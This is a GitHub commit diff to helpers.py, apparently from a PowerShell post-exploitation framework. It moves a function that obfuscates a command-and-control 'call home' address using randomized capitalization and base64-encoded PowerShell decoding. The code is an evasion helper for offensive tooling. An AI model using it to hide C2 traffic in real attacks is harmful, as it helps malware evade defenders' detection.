Update helpers.py

fix-for-1142
Ceramicskate0 2018-04-23 02:07:32 -05:00 committed by GitHub
parent eb500277ef
commit 0e4a94dfb2
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 5 additions and 3 deletions

View File

@ -142,15 +142,17 @@ def random_string(length=-1, charset=string.ascii_letters):
random_string = ''.join(random.choice(charset) for x in range(length))
return random_string
def obfuscate_call_home_address(c2address):
return'$('+randomize_capitalization('[Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(\'') + enc_powershell(c2address) +'\')))'
def randomize_capitalization(data):
"""
Randomize the capitalization of a string.
"""
return "".join( random.choice([k.upper(), k ]) for k in data )
def obfuscate_call_home_address(data):
"""
Poowershell script to base64 encode variable contents and execute on command as if clear text in powershell
"""
return'$('+randomize_capitalization('[Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(\'') + enc_powershell(data) +'\')))'
def chunks(l, n):
"""